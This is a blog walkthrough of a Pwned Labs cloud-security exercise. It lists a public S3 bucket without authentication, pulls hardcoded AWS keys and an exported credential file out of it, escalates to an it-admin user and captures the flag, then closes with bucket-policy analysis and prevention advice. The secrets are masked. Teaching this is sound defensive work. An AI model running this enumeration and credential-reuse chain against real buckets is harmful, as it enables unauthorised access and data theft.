Skip to main content

Pwned Labs - AWS S3 Enumeration Basics

·1501 words·8 mins
Jack Warner
Author
Jack Warner
A little blog by me

AWS S3 Enumeration Basics - Lab Walkthrough
#

Overview
#

This lab demonstrates fundamental AWS S3 enumeration techniques, credential extraction from publicly accessible buckets, and privilege escalation within AWS environments.

Learning Objectives:

  • Familiarity with the AWS CLI for S3 operations
  • Basic S3 enumeration and credential exfiltration techniques
  • Understanding how this scenario could have been prevented

Lab Source: Pwned Labs - AWS S3 Enumeration Basics


Phase 1: Initial Reconnaissance
#

Website Analysis
#

Initial examination of the target website reveals no obvious vulnerabilities on the surface. However, analyzing the webpage source code reveals valuable information:

<!DOCTYPE html>
<html lang="en" >
<head>
  <meta charset="UTF-8">
  <title>Huge Logistics</title>
  <link rel="stylesheet" href="https://s3.amazonaws.com/dev.huge-logistics.com/static/style.css">

</head>
<body>
<!-- partial:index.partial.html -->
<!--SHORTCUT ICONS-->
<link rel="shortcut icon" href="https://s3.amazonaws.com/dev.huge-logistics.com/static/favicon.png">

Key Discovery: The source code reveals an S3 bucket named dev.huge-logistics.com hosting static assets (.css file and favicon).

Direct Bucket Access Attempt
#

Next, we attempt to access the S3 bucket directly via the web interface:

URL: http://dev.huge-logistics.com.s3.amazonaws.com/

It will result in the following:

<Error>
<Code>AccessDenied</Code>
<Message>Access Denied</Message>
<RequestId>SXM95CE6T4MP3C2A</RequestId>
<HostId>
AD8phGjCBWb2EF+3xaSFFTdzG/e9nMeE1X8VciIHjQSfHAK88GCFe8XsiwfrhdF78PDtYWjY13E=
</HostId>
</Error>

Phase 2: S3 Bucket Enumeration
#

AWS CLI Enumeration
#

While direct web access failed, let’s try using the AWS CLI with unsigned requests:

aws s3 ls s3://dev.huge-logistics.com --no-sign-request

Result:

                           PRE admin/
                           PRE migration-files/
                           PRE shared/
                           PRE static/
2023-10-16 13:00:47       5347 index.html

Success! The S3 bucket is publicly listable, revealing several directories and an index.html file.

Interesting Observation: The CLI command worked while the web interface didn’t. This suggests specific bucket policies that allow CLI operations but restrict web access.

Directory-by-Directory Enumeration
#

Recursive listing attempt:

aws s3 ls s3://dev.huge-logistics.com --no-sign-request --recursive
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied

Individual directory attempts:

Admin Directory:

aws s3 ls s3://dev.huge-logistics.com/admin --no-sign-request
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied

Migration Files Directory:

aws s3 ls s3://dev.huge-logistics.com/migration-files/ --no-sign-request
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied

Analysis: The admin/ and migration-files/ directories are protected and don’t allow anonymous public access.

Static Directory:

aws s3 ls s3://dev.huge-logistics.com/static/ --no-sign-request
2023-10-16 11:08:26          0 
2023-10-16 12:52:30      54451 logo.png
2023-10-16 12:52:30        183 script.js

Findings: Standard web assets (JS, PNG, CSS files). Worth noting for later analysis but not immediately critical.

Shared Directory:

aws s3 ls s3://dev.huge-logistics.com/shared/ --no-sign-request
2023-10-16 11:08:33          0 
2023-10-16 11:09:01        993 hl_migration_project.zip

Critical Discovery: A zip file named hl_migration_project.zip in the shared directory - this looks promising for credential extraction!


Phase 3: Credential Extraction
#

Downloading and Analyzing the Migration Project
#

Download the zip file:

aws s3 cp s3://dev.huge-logistics.com/shared/hl_migration_project.zip . --no-sign-request
download: s3://dev.huge-logistics.com/shared/hl_migration_project.zip to ./hl_migration_project.zip

Extract contents:

unzip hl_migration_project.zip
Archive:  hl_migration_project.zip
  inflating: migrate_secrets.ps1 

Analyzing the PowerShell Script
#

View the extracted file:

cat migrate_secrets.ps1 
AWS Configuration
$accessKey = "AKIA****"
$secretKey = "MwGe****"
$region = "us-east-1"

# Set up AWS hardcoded credentials
Set-AWSCredentials -AccessKey $accessKey -SecretKey $secretKey

# Set the AWS region
Set-DefaultAWSRegion -Region $region

# Read the secrets from export.xml
[xml]$xmlContent = Get-Content -Path "export.xml"

# Output log file
$logFile = "upload_log.txt"

# Error handling with retry logic
function TryUploadSecret($secretName, $secretValue) {
    $retries = 3
    while ($retries -gt 0) {
        try {
            $result = New-SECSecret -Name $secretName -SecretString $secretValue
            $logEntry = "Successfully uploaded secret: $secretName with ARN: $($result.ARN)"
            Write-Output $logEntry
            Add-Content -Path $logFile -Value $logEntry
            return $true
        } catch {
            $retries--
            Write-Error "Failed attempt to upload secret: $secretName. Retries left: $retries. Error: $_"
        }
    }
    return $false
}

foreach ($secretNode in $xmlContent.Secrets.Secret) {
    # Implementing concurrency using jobs
    Start-Job -ScriptBlock {
        param($secretName, $secretValue)
        TryUploadSecret -secretName $secretName -secretValue $secretValue
    } -ArgumentList $secretNode.Name, $secretNode.Value
}

# Wait for all jobs to finish
$jobs = Get-Job
$jobs | Wait-Job

# Retrieve and display job results
$jobs | ForEach-Object {
    $result = Receive-Job -Job $_
    if (-not $result) {
        Write-Error "Failed to upload secret: $($_.Name) after multiple retries."
    }
    # Clean up the job
    Remove-Job -Job $_
}

Write-Output "Batch upload complete!"


# Install-Module -Name AWSPowerShell -Scope CurrentUser -Force
# .\migrate_secrets.ps1%                         

Critical Information Extracted:

  • AWS Access Key: AKIA****
  • AWS Secret Key: MwGe****
  • Region: us-east-1

Additional Reconnaissance
#

Verify bucket region using curl:

curl -I https://s3.amazonaws.com/dev.huge-logistics.com/
HTTP/1.1 403 Forbidden
x-amz-bucket-region: us-east-1
x-amz-request-id: BF392GRC64DMNJNF
x-amz-id-2: f7W+s1GmfDTmqS48Y8lcTvUI4TPgBe6qqYM0sB8Te0HxaWSd5NMUHOsI9+5iwUx3cYApoUAqqLc=
Content-Type: application/xml
Transfer-Encoding: chunked
Date: Sun, 14 Sep 2025 20:11:41 GMT
Server: AmazonS3

Confirmation: The x-amz-bucket-region header confirms the bucket is in us-east-1.


Phase 4: Credential Testing and Privilege Escalation
#

Configuring AWS Credentials
#

Set up the first credential profile:

aws configure --profile pl_s3
AWS Access Key ID [None]: AKIA****
AWS Secret Access Key [None]: MwGe****
Default region name [None]: us-east-1
Default output format [None]: 

Verify credential validity:

aws sts get-caller-identity --profile pl_s3
{
    "UserId": "AKIA****",
    "Account": "794929857501",
    "Arn": "arn:aws:iam::794929857501:user/pam-test"
}

Identity Confirmed: User pam-test in AWS account 794929857501

Testing Access with Authenticated Credentials
#

Attempt to access admin directory:

aws s3 ls s3://dev.huge-logistics.com/admin/ --profile pl_s3
2023-10-16 11:08:38          0 
2024-12-02 09:57:44         32 flag.txt
2023-10-16 16:24:07       2425 website_transactions_export.csv

Target Located: The flag file is visible in the admin directory!

Attempt to retrieve the flag:

aws s3 cp s3://dev.huge-logistics.com/admin/flag.txt . --profile pl_s3
fatal error: An error occurred (403) when calling the HeadObject operation: Forbidden

Access Denied: The pam-test user can list the admin directory but cannot download files from it.

Exploring Migration Files Directory
#

Enumerate migration files:

aws s3 ls s3://dev.huge-logistics.com/migration-files/ --profile pl_s3
2023-10-16 11:08:47          0 
2023-10-16 11:09:26    1833646 AWS Secrets Manager Migration - Discovery & Design.pdf
2023-10-16 11:09:25    1407180 AWS Secrets Manager Migration - Implementation.pdf
2023-10-16 11:09:27       1853 migrate_secrets.ps1
2023-10-16 14:00:13       2494 test-export.xml

Key Discovery: test-export.xml appears to contain exported credentials!

Download the credential export:

aws s3 cp s3://dev.huge-logistics.com/migration-files/test-export.xml . --profile pl_s3
<?xml version="1.0" encoding="UTF-8"?>
<CredentialsExport>
    <!-- Oracle Database Credentials -->
    <CredentialEntry>
        <ServiceType>Oracle Database</ServiceType>
        <Hostname>oracle-db-server02.prod.hl-internal.com</Hostname>
        <Username>admin</Username>
        <Password>Pass****</Password>
        <Notes>Primary Oracle database for the financial application. Ensure strong password policy.</Notes>
    </CredentialEntry>
    <!-- HP Server Credentials -->
    <CredentialEntry>
        <ServiceType>HP Server Cluster</ServiceType>
        <Hostname>hp-cluster1.prod.hl-internal.com</Hostname>
        <Username>root</Username>
        <Password>Root****</Password>
        <Notes>HP server cluster for batch jobs. Periodically rotate this password.</Notes>
    </CredentialEntry>
    <!-- AWS Production Credentials -->
    <CredentialEntry>
        <ServiceType>AWS IT Admin</ServiceType>
        <AccountID>7949****</AccountID>
        <AccessKeyID>AKIA****</AccessKeyID>
        <SecretAccessKey>t21E****</SecretAccessKey>
        <Notes>AWS credentials for production workloads. Do not share these keys outside of the organization.</Notes>
    </CredentialEntry>
    <!-- Iron Mountain Backup Portal -->
    <CredentialEntry>
        <ServiceType>Iron Mountain Backup</ServiceType>
        <URL>https://backupportal.ironmountain.com</URL>
        <Username>hladmin</Username>
        <Password>HLPa****</Password>
        <Notes>Account used to schedule tape collections and deliveries. Schedule regular password rotations.</Notes>
    </CredentialEntry>
    <!-- Office 365 Admin Account -->
    <CredentialEntry>
        <ServiceType>Office 365</ServiceType>
        <URL>https://admin.microsoft.com</URL>
        <Username>[email protected]</Username>
        <Password>O365****</Password>
        <Notes>Office 365 global admin account. Use for essential administrative tasks only and enable MFA.</Notes>
    </CredentialEntry>
    <!-- Jira Admin Account -->
    <CredentialEntry>
        <ServiceType>Jira</ServiceType>
        <URL>https://hugelogistics.atlassian.net</URL>
        <Username>jira_admin</Username>
        <Password>Jira****</Password>
        <Notes>Jira administrative account. Restrict access and consider using API tokens where possible.</Notes>
    </CredentialEntry>
</CredentialsExport>

Privilege Escalation Opportunity: The XML contains AWS IT Admin credentials - significantly more privileged than the pam-test user!

Configuring Higher-Privilege Credentials
#

Set up the IT Admin profile:

aws configure --profile pl_s3_2
AWS Access Key ID [None]: AKIA****
AWS Secret Access Key [None]: t21E****
Default region name [None]: us-east-1
Default output format [None]: 

Verify the new identity:

aws sts get-caller-identity --profile pl_s3_2
{
    "UserId": "AIDA****",
    "Account": "794929857501",
    "Arn": "arn:aws:iam::794929857501:user/it-admin"
}

Identity Escalated: Now operating as it-admin user with higher privileges!

Flag Capture
#

Attempt flag retrieval with admin credentials:

aws s3 cp s3://dev.huge-logistics.com/admin/flag.txt . --profile pl_s3_2
download: s3://dev.huge-logistics.com/admin/flag.txt to ./flag.txt

Success! Read the flag:

cat flag.txt
a49f****

Phase 5: Understanding the Attack Vector
#

Analyzing the Bucket Policy
#

Let’s examine why unauthenticated CLI requests worked while browser requests failed:

aws s3api get-bucket-policy --bucket dev.huge-logistics.com --profile pl_s3_2 \
  | jq -r '.Policy | fromjson'

Bucket Policy Analysis:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "PublicRead",
      "Effect": "Allow",
      "Principal": "*",
      "Action": "s3:GetObject",
      "Resource": [
        "arn:aws:s3:::dev.huge-logistics.com/shared/*",
        "arn:aws:s3:::dev.huge-logistics.com/index.html",
        "arn:aws:s3:::dev.huge-logistics.com/static/*"
      ]
    },
    {
      "Sid": "ListBucketRootAndShared",
      "Effect": "Allow",
      "Principal": "*",
      "Action": "s3:ListBucket",
      "Resource": "arn:aws:s3:::dev.huge-logistics.com",
      "Condition": {
        "StringEquals": {
          "s3:delimiter": "/",
          "s3:prefix": [
            "",
            "shared/",
            "static/"
          ]
        }
      }
    },
    {
      "Sid": "AllowAllExceptAdmin",
      "Effect": "Allow",
      "Principal": {
        "AWS": [
          "arn:aws:iam::794929857501:user/it-admin",
          "arn:aws:iam::794929857501:user/pam-test"
        ]
      },
      "Action": [
        "s3:Get*",
        "s3:List*"
      ],
      "Resource": [
        "arn:aws:s3:::dev.huge-logistics.com",
        "arn:aws:s3:::dev.huge-logistics.com/*"
      ]
    },
    {
      "Sid": "ExplicitDenyAdminAccess",
      "Effect": "Deny",
      "Principal": {
        "AWS": "arn:aws:iam::794929857501:user/pam-test"
      },
      "Action": "s3:*",
      "Resource": "arn:aws:s3:::dev.huge-logistics.com/admin/*"
    }
  ]
}

Key Policy Insights:

  1. Conditional Public Access: The ListBucketRootAndShared statement requires specific query parameters (s3:delimiter: "/" and specific s3:prefix values)
  2. CLI vs Browser Behavior: AWS CLI automatically includes these parameters, while browsers and curl do not
  3. User Permissions: Both it-admin and pam-test users have broad access to the bucket
  4. Explicit Deny: pam-test is explicitly denied access to the /admin/* path, explaining why privilege escalation was necessary

Key Takeaways
#

Attack Chain Summary
#

  1. Reconnaissance: Source code analysis revealed S3 bucket reference
  2. Enumeration: CLI-based bucket listing exposed directory structure
  3. Credential Extraction: Downloaded migration files containing AWS keys
  4. Privilege Escalation: Used higher-privilege credentials to access restricted content
  5. Objective Achievement: Successfully retrieved the flag from the admin directory

Prevention Strategies
#

  • Secure Credential Storage: Never store AWS credentials in publicly accessible locations
  • Principle of Least Privilege: Implement minimal necessary permissions
  • Bucket Policy Review: Regularly audit S3 bucket policies for unintended public access
  • Secrets Management: Use AWS Secrets Manager or similar services for credential storage
  • Access Logging: Enable CloudTrail and S3 access logging for monitoring

Technical Learning Points
#

  • Understanding S3 bucket policy conditions and their impact on different access methods
  • The importance of proper credential lifecycle management
  • How seemingly “protected” resources can be accessed through privilege escalation

Related

Pwned Labs - Intro to AWS IAM Enumeration
·1270 words·6 mins
Wiz x Cloud Security Championship: Perimeter Leak
·1243 words·6 mins
OPA Policy Authoring
·2069 words·10 mins